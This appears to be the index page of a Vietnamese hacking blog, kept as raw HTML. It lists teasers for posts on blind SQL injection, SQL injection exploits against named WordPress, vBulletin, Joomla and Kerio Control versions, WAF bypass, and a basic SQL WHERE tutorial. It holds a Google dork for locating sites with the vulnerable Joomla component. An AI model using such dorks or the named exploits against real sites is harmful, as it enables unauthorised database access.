Tối ưu hóa tấn công BLIND SQL INJECTION

<div class="summary" style="background-color: white; border: 0px; color: #5f5f5f; font-family: "Times New Roman", Times, serif; font-size: 14px; font-stretch: normal; font-weight: bold; line-height: 18px; margin-bottom: 10px !important; margin-top: 15px !important; padding: 0px !important; text-align: justify; vertical-align: baseline;"> Tấn công nhúng mã SQL, hay còn gọi là SQL injection (Structured Query Language injection), là một dạng tấn công phổ biến nhất hiện nay, nhằm vào cơ sở dữ liệu SQL. Trong các dạng tấn công SQL injection, Blind SQL injection là dạng rất phổ biến. Xuất phát từ việc tối ưu khai thác lỗ hổng Blind SQL injection trong truy vấn sử dụng mệnh đề ORDER BY, bài viết này trình bày về các phương pháp khai thác, tối ưu Blind SQL injection nói chung và lỗ hổng Blind SQL trong truy vấn sử dụng mệnh đề ORDER BY nói riêng đồng thời đưa ra một góc nhìn, phương pháp tiếp cận mới trong việc tối ưu hóa tấn công này.</div> <div style="background-color: white; border: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 13.2px; line-height: 19.8px; margin: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"> <div style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> <strong style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">Khai thác lỗ hổng Blind SQL injection trong truy vấn sử dụng mệnh đề ORDER BY</strong><br style="content: "A"; display: block; margin: 15px 0px !important;"><em style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><br style="content: "A"; display: block; margin: 15px 0px !important;"></strong></em></div> <div style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> <em style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">Mệnh đề ORDER BY trong truy vấn SQL</strong></em><br style="content: "A"; display: block; margin: 15px 0px !important;"></div> <div style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> Thông thường, để truy xuất lấy dữ liệu trên máy chủ CSDL, chúng ta thường sử dụng mệnh đề “SELECT”. Cấu trúc của một truy vấn SQL sử dụng mệnh đề “SELECT” như sau:<br style="content: "A"; display: block; margin: 15px 0px !important;"><br style="content: "A"; display: block; margin: 15px 0px !important;"><div style="border: 0px; margin: 0px; padding: 0px; text-align: center; vertical-align: baseline;"> <img alt="" src="http://antoanthongtin.vn/Portals/0/UploadImages/News/Images/antoanthongtin.vn-SQL_1.jpg" style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"></div></div></div>

Tối ưu hóa tấn công BLIND SQL INJECTION

Tấn công nhúng mã SQL, hay còn gọi là SQL injection (Structured Query Language injection), là một dạng tấn công phổ biến nhất hiện nay, nhằ...

Read more »

Wordpress Huge-IT Image Gallery 1.0.1 Authenticated SQL Injection

<div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE1aFADpV_BgIMQ8NU1yymDQQnAFGIjuBpsTkx8QFVbqy9XNuqrcNXUOX8GdOZlEbjPBA6njyjpI2B-JwXyxOqCX8aOYTP0T-Lf1NUzVp_2tVjSEvJMMg1Csh1eDkK6EW4HSl5vbYAdtE/s1600/t%E1%BA%A3i+xu%E1%BB%91ng.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE1aFADpV_BgIMQ8NU1yymDQQnAFGIjuBpsTkx8QFVbqy9XNuqrcNXUOX8GdOZlEbjPBA6njyjpI2B-JwXyxOqCX8aOYTP0T-Lf1NUzVp_2tVjSEvJMMg1Csh1eDkK6EW4HSl5vbYAdtE/s1600/t%E1%BA%A3i+xu%E1%BB%91ng.jpg" width="400"></a></div>

Wordpress Huge-IT Image Gallery 1.0.1 Authenticated SQL Injection

Read more »

vBulletin 4.0.x - 4.1.2 (search.php, cat param) - SQL Injection Exploit

<div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfBPzQbPz2sPXaYozJBVhiPPM5OJXATDwkIwmMSukqOm4z54mWbHA_zX9kT2kcN9eRzP3oYJpqkNcO2krRwljOr9I6hU3eSwKNLyD3knQYA9VQu5VfWX7cv8m0yCI28xMNmxnyLnLSzJk/s1600/images.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfBPzQbPz2sPXaYozJBVhiPPM5OJXATDwkIwmMSukqOm4z54mWbHA_zX9kT2kcN9eRzP3oYJpqkNcO2krRwljOr9I6hU3eSwKNLyD3knQYA9VQu5VfWX7cv8m0yCI28xMNmxnyLnLSzJk/s1600/images.jpg" width="400"></a></div>

vBulletin 4.0.x - 4.1.2 (search.php, cat param) - SQL Injection Exploit

Read more »

Bypass Web Application Firewalls By Simple Trick

<span style="background-color: white;"><span style="box-sizing: border-box; color: #333333; font-family: 'Georgia Serif'; font-size: x-small; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1BFix2o2_y_R3jH2pqCz2roWo8fuBIUvGjc3MB7cQcaYdyxu06B2t8Onn_rYTgHCyC0408sDPPAxe-7N_GWf0T74cZrDF8xyfe3cjryH4UWqRWA1Hp8Wiuvzogx3OmAnj9P1uxgv2rvw8/s1600/web+application+firewall.jpg" imageanchor="1" style="box-sizing: border-box; clear: left; color: #999999; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="398" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1BFix2o2_y_R3jH2pqCz2roWo8fuBIUvGjc3MB7cQcaYdyxu06B2t8Onn_rYTgHCyC0408sDPPAxe-7N_GWf0T74cZrDF8xyfe3cjryH4UWqRWA1Hp8Wiuvzogx3OmAnj9P1uxgv2rvw8/s640/web+application+firewall.jpg" style="border-width: 0px; box-sizing: border-box; height: auto; max-width: 100%;" width="640"></a></span></span><br>

Bypass Web Application Firewalls By Simple Trick

Read more »

Joomla component com_mydyngallery sql injection

<div style="background-color: white; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19.31999969482422px; margin-bottom: 6px;"> <div style="color: #141823;"> <span class="_58cl">‪#</span><span class="_58cl" style="color: #6d84b4;">‎</span><span class="_58cm" style="color: #141823;">Exploit‬</span><span style="color: #141823;"> Title: Joomla component com_mydyngallery sql injection #</span></div> <div style="color: #141823;"> # Google Dork: inurl:index.php?option=com_mydyngallery #</div> </div>

Joomla component com_mydyngallery sql injection

‪# ‎ Exploit‬  Title: Joomla component com_mydyngallery sql injection # # Google Dork: inurl:index.php?option=com_mydyngallery #

Read more »

Kerio Control 8.3.1 - Blind SQL Injection

<div class="line number1 index0 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">Document Title: </code></div> <div class="line number2 index1 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">======================</code></div> <div class="line number3 index2 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">Kerio Control <= 8.3.1 Boolean-based blind SQL Injection</code></div>

Kerio Control 8.3.1 - Blind SQL Injection

Document Title: ====================== Kerio Control <= 8.3.1 Boolean-based blind SQL Injection

Read more »

[TUT] sql bypass 406 cực cơ bản cho newbie

<a href="https://blogger.googleusercontent.com/img/proxy/AVvXsEh4mS-Ferp7h4b5WJnJ6sNmSXbQheO5b-Z011oohroygMziLqfWRs8WcB3po34lH-Xrj73y1M1piTDjiBlLpjNRXA1hPhTM5WAGN50SNRasMDhsuR6uYn1qGWIvDsb5DlLxVr3yT5b1g8rZ9b8G54s1LOu3ts3h45DdTns=" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="" border="0" class="inlineimg" src="http://forum.vnhack.us/images/smilies/LaiPro_NewYahoo/4.gif" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(34, 34, 34); font-family: tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 16px; margin-top: 0px; max-width: 600px; padding: 5px; vertical-align: middle;" title="big green"></a><span style="background-color: white;"><b style="font-family: tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 14pt; line-height: 22.399999618530273px; margin: 0px; padding: 0px; white-space: nowrap;"><span style="margin: 0px; padding: 0px;"></span></b></span><br> <span style="background-color: white;"><b style="font-family: tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 14pt; line-height: 22.399999618530273px; margin: 0px; padding: 0px; white-space: nowrap;"><span style="margin: 0px; padding: 0px;"><span style="background-color: white;"><b style="font-family: tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 14pt; line-height: 22.399999618530273px; margin: 0px; padding: 0px; white-space: nowrap;"><span style="margin: 0px; padding: 0px;"><br></span></b></span></span></b></span> <span style="background-color: white;"><b style="font-family: tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 14pt; line-height: 22.399999618530273px; margin: 0px; padding: 0px; white-space: nowrap;"><span style="margin: 0px; padding: 0px;"><span style="background-color: white;"><b style="font-family: tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 14pt; line-height: 22.399999618530273px; margin: 0px; padding: 0px; white-space: nowrap;"><span style="margin: 0px; padding: 0px;"><br></span></b></span></span></b></span> <span style="background-color: white;"><b style="font-family: tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 14pt; line-height: 22.399999618530273px; margin: 0px; padding: 0px; white-space: nowrap;"><span style="margin: 0px; padding: 0px;">By : <a class="bigusername" href="http://forum.vnhack.us/member.php?u=218" style="font-size: 14pt; margin: 0px; padding: 0px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;">ic3_princ3</a></span></b></span>

[TUT] sql bypass 406 cực cơ bản cho newbie

By :  ic3_princ3

Read more »

_SQL Tổng Quan (Mệnh đề WHERE)

<span style="background-color: white;"><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">Mệnh đề WHERE được dùng để thiết lập điều kiện truy xuất.</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">Mệnh đề WHERE</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Để truy xuất dữ liệu trong bảng theo các điều kiện nào đó, một mệnh đề </span><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><i style="margin: 0px; padding: 0px;">WHERE</i></b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> có thể được thêm vào câu lệnh SELECT.</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">Cú pháp</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Cú pháp mệnh đề </span><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><i style="margin: 0px; padding: 0px;">WHERE</i></b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> trong câu lệnh </span><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><i style="margin: 0px; padding: 0px;">SELECT</i></b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> như sau:</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><i style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><b style="margin: 0px; padding: 0px;">SELECT</b> tên_cột <b style="margin: 0px; padding: 0px;">FROM</b> tên_bảng<br style="margin: 0px; padding: 0px;" /><b style="margin: 0px; padding: 0px;">WHERE</b> tên_cột phép_toán giá_trị</i><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Trong mệnh đề </span><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><i style="margin: 0px; padding: 0px;">WHERE</i></b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">, các phép toán được sử dụng là</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">Phép toán</b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ---- </span><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">Mô tả</b><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">= </b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">------ So sánh bằng</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><></b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ------ So sánh không bằng</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">></b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ------ Lớn hơn</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><</b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ------ Nhỏ hơn</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">>=</b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ------ Lớn hơn hoặc bằng</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><=</b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ------ Nhỏ hơn hoặc bằng</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">BETWEEN ------ Nằm giữa một khoảng</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">LIKE</b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> ------ So sánh mẫu chuỗi</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><u style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">Lưu ý</u><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">: Trong một số phiên bản của SQL, phép toán </span><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><></b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> có thể được viết dưới dạng </span><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">!=</b><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">Sử dụng mệnh đề WHERE</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Để lấy danh sách những người sống ở thành phố Sandnes, ta sử dụng mệnh đề WHERE trong câu lệnh SELECT như sau:</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><i style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><b style="margin: 0px; padding: 0px;">SELECT</b> * <b style="margin: 0px; padding: 0px;">FROM</b> Persons<br style="margin: 0px; padding: 0px;" /><b style="margin: 0px; padding: 0px;">WHERE</b> City = 'Sandnes'</i><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Bảng </span><i style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">Persons</i><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">:</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><img alt="" border="0" src="http://img442.imageshack.us/img442/961/sql3zr1.jpg" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(34, 34, 34); font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 5px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Kết quả trả về:</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><img alt="" border="0" src="http://img352.imageshack.us/img352/5238/sql5db2.jpg" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(34, 34, 34); font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 5px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">Sử dụng dấu nháy</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Lưu ý rằng ở ví dụ trên ta đã sử dụng hai dấu nháy đơn (') bao quanh giá trị điều kiện 'Sandnes'.</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">SQL sử dụng dấu nháy đơn bao quanh các giá trị ở dạng chuỗi văn bản (text). Nhiều hệ CSDL còn cho phép sử dụng dấu nháy kép (</span><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">"</b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">). Các giá trị ở dạng số không dùng dấu nháy để bao quanh.</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Với dữ liệu dạng chuỗi văn bản:</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, 